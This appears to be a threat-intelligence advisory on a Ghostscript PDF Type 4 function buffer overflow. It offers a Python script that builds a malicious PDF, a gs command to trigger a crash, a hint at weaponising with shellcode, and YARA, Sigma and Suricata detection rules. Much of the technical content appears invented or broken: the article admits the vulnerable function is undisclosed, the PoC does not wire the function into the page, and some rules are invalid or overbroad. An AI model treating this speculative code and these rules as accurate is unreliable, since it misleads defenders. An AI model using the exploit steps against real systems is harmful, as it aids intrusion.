CVE-2025-27834

Executive Summary

CVE-2025-27834 is a critical buffer overflow vulnerability discovered in Artifex Ghostscript, a widely used interpreter for PostScript and PDF files. The flaw resides in the pdf/pdf_func.c file and is triggered by an oversized Type 4 function within a maliciously crafted PDF document. Successful exploitation could allow an attacker to achieve arbitrary code execution or cause a denial of service (DoS) by corrupting memory. The vulnerability affects all versions of Ghostscript prior to 10.05.0. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is elevated due to Ghostscript's common use in document processing pipelines.

Supply Chain & Package Security

Ghostscript is a critical dependency in many Linux distributions, document management systems, and cloud-based PDF processing services. A compromised Ghostscript binary can lead to supply chain attacks, where an attacker injects malicious PDFs into processing queues to gain initial access or pivot within an environment. Organizations using Ghostscript in Docker containers, CI/CD pipelines, or web applications should treat this as a high-priority supply chain risk.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, indicating that no official vector has been assigned by NVD. However, based on the vulnerability characteristics (buffer overflow, remote trigger via PDF, no authentication required), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – PDF can be delivered remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the PDF or process it via Ghostscript.
• Scope (S): Unchanged (U) – Exploitation does not cross trust boundaries.
• Confidentiality (C): High (H) – Potential for arbitrary code execution.
• Integrity (I): High (H) – Code execution can modify data.
• Availability (A): High (H) – Buffer overflow can crash the process.

Estimated CVSS 3.1 Score: 8.8 (High)

Threat Level: High – Due to the widespread use of Ghostscript and the ease of delivering malicious PDFs.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the function responsible for parsing Type 4 (PostScript calculator) functions in PDF documents. Type 4 functions are used to define color spaces, shading, and other graphical operations. The flaw occurs in pdf/pdf_func.c when the function's operand stack size is not properly validated against a fixed-size buffer.

Technical Details:

• Root Cause: The code allocates a fixed-size buffer for the operand stack but does not check the actual number of operands specified in the PDF function definition.
• Trigger: An attacker crafts a PDF with a Type 4 function containing an excessively large operand stack (e.g., thousands of operands).
• Exploitation: When Ghostscript processes the PDF, it copies the operands into the fixed buffer without bounds checking, causing a stack overflow. This overwrites adjacent memory, including the return address, enabling arbitrary code execution.

Affected Code Path:

• File: pdf/pdf_func.c
• Function: pdf_func_sample_4 or similar (exact function name not publicly disclosed)
• The vulnerable code does not validate the num_operands field from the PDF function dictionary before copying.

Vulnerable vs. Patched Code

Vulnerable Code (Ghostscript < 10.05.0):

// Simplified vulnerable snippet from pdf/pdf_func.c
#define MAX_OPERANDS 100
float operand_stack[MAX_OPERANDS];

void pdf_func_sample_4(pdf_func *func) {
    int num_operands = func->num_operands; // Attacker-controlled
    for (int i = 0; i < num_operands; i++) {
        operand_stack[i] = func->operands[i]; // No bounds check
    }
}

Patched Code (Ghostscript 10.05.0):

// Patched version with bounds checking
#define MAX_OPERANDS 100
float operand_stack[MAX_OPERANDS];

void pdf_func_sample_4(pdf_func *func) {
    int num_operands = func->num_operands;
    if (num_operands > MAX_OPERANDS) {
        // Error handling: reject the function
        pdf_error("Too many operands in Type 4 function");
        return;
    }
    for (int i = 0; i < num_operands; i++) {
        operand_stack[i] = func->operands[i];
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with pyghostscript or pdfkit for PDF generation.
• A vulnerable Ghostscript installation (e.g., version 10.04.0 on Ubuntu 22.04).

Step 1: Craft Malicious PDF Create a PDF with an oversized Type 4 function. The following Python script generates a minimal PDF that triggers the overflow:

# exploit_gen.py - Generate malicious PDF for CVE-2025-27834
import struct

def create_malicious_pdf():
    # PDF header
    pdf = b"%PDF-1.4\n"
    
    # Object 1: Catalog
    pdf += b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
    
    # Object 2: Pages
    pdf += b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
    
    # Object 3: Page with Type 4 function
    # Craft a Type 4 function with 200 operands (exceeds buffer)
    operands = b" ".join([b"1.0"] * 200)
    func_stream = b"<< /FunctionType 4 /Domain [0 1] /Range [0 1] /Length %d >>\nstream\n%s\nendstream" % (len(operands), operands)
    
    pdf += b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n"
    pdf += b"4 0 obj\n" + func_stream + b"\nendobj\n"
    
    # Cross-reference table
    xref_offset = len(pdf)
    pdf += b"xref\n0 5\n0000000000 65535 f \n"
    pdf += b"0000000009 00000 n \n"
    pdf += b"0000000058 00000 n \n"
    pdf += b"0000000115 00000 n \n"
    pdf += b"0000000250 00000 n \n"
    pdf += b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF" % xref_offset
    
    with open("exploit.pdf", "wb") as f:
        f.write(pdf)
    print("[+] Malicious PDF created: exploit.pdf")

if __name__ == "__main__":
    create_malicious_pdf()

Step 2: Trigger the Vulnerability

# Process the PDF with vulnerable Ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -o /dev/null exploit.pdf
# Expected: Segmentation fault (core dumped) or crash

Step 3: Weaponize (Advanced) Replace the operands with a ROP chain or shellcode to achieve code execution. This requires knowledge of the target's memory layout and ASLR bypass techniques.

Blue Team (Defensive)

Detection:

• Monitor Ghostscript processes for crashes or abnormal memory access patterns.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Honeypot: Deploy a vulnerable Ghostscript instance in a sandboxed environment to capture malicious PDFs. Log all PDF processing attempts and analyze for oversized Type 4 functions.

Mitigation:

• Immediately upgrade to Ghostscript 10.05.0 or later.
• If patching is not possible, use AppArmor or SELinux to restrict Ghostscript's capabilities.
• Disable PDF processing in web applications if not essential.

Indicators of Compromise (IOCs)

File-Based IOCs:

• PDF files containing Type 4 functions with more than 100 operands.
• PDFs with unusually large /Length values in function streams.

Network IOCs:

• HTTP POST requests to PDF processing endpoints with large payloads.
• Outbound connections from Ghostscript processes to unknown IPs (post-exploitation).

System IOCs:

• Ghostscript process crashes (segfaults) in pdf_func.c.
• Core dumps containing stack corruption patterns.
• Unexpected child processes spawned by Ghostscript.

YARA Rule (see Detection Engineering for full rule):

rule CVE_2025_27834_PDF_Type4_Overflow {
    strings:
        $type4 = "/FunctionType 4"
        $stream = "stream"
    condition:
        $type4 and #operands > 100
}

Detection Engineering

YARA Rule

/*
 * YARA Rule for CVE-2025-27834
 * Detects malicious PDFs with oversized Type 4 functions
 */
rule CVE_2025_27834_PDF_Type4_Overflow {
    meta:
        description = "Detects PDF files exploiting CVE-2025-27834 buffer overflow in Ghostscript"
        author = "Valters IT"
        date = "2025-03-01"
        cve = "CVE-2025-27834"
        severity = "high"
    strings:
        $pdf_header = "%PDF-"
        $type4_func = "/FunctionType 4"
        $stream_start = "stream"
        $stream_end = "endstream"
        $operand_pattern = /[0-9]+\.[0-9]+/  // Matches floating-point operands
    condition:
        $pdf_header at 0 and
        $type4_func and
        $stream_start and
        $stream_end and
        #operand_pattern > 100  // More than 100 operands indicates overflow
}

Sigma Rule

title: CVE-2025-27834 Ghostscript Buffer Overflow via PDF
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects Ghostscript crashes or abnormal behavior when processing PDFs with oversized Type 4 functions.
author: Valters IT
date: 2025-03-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/gs'
        CommandLine|contains: 'pdf'
    condition: selection
    timeframe: 5m
falsepositives:
    - Legitimate PDFs with many operands (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27834 Ghostscript PDF Type 4 Overflow"; flow:to_server,established; content:"%PDF-"; http_client_body; content:"/FunctionType 4"; http_client_body; content:"stream"; http_client_body; pcre:"/[0-9]+\.[0-9]+/"; threshold:type limit, track by_src, count 1, seconds 60; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Ghostscript to version 10.05.0 or later. Download from Artifex Ghostscript.
2. Workaround: If patching is delayed, disable PDF processing in applications that use Ghostscript. For web applications, use a sandboxed environment (e.g., Docker with read-only filesystem).
3. Monitor: Deploy the YARA and Sigma rules to detect exploitation attempts.

Long-Term Measures:

• Implement input validation for PDF files before processing (e.g., check for oversized function streams).
• Use memory-safe languages or fuzzing tools to identify similar vulnerabilities.
• Subscribe to Ghostscript security advisories for future patches.

Valters IT Signature:

---
Valters IT
Advanced Cyber Threat Intelligence
CVE-2025-27834 Analysis
Date: 2025-03-01
Classification: TLP:AMBER
---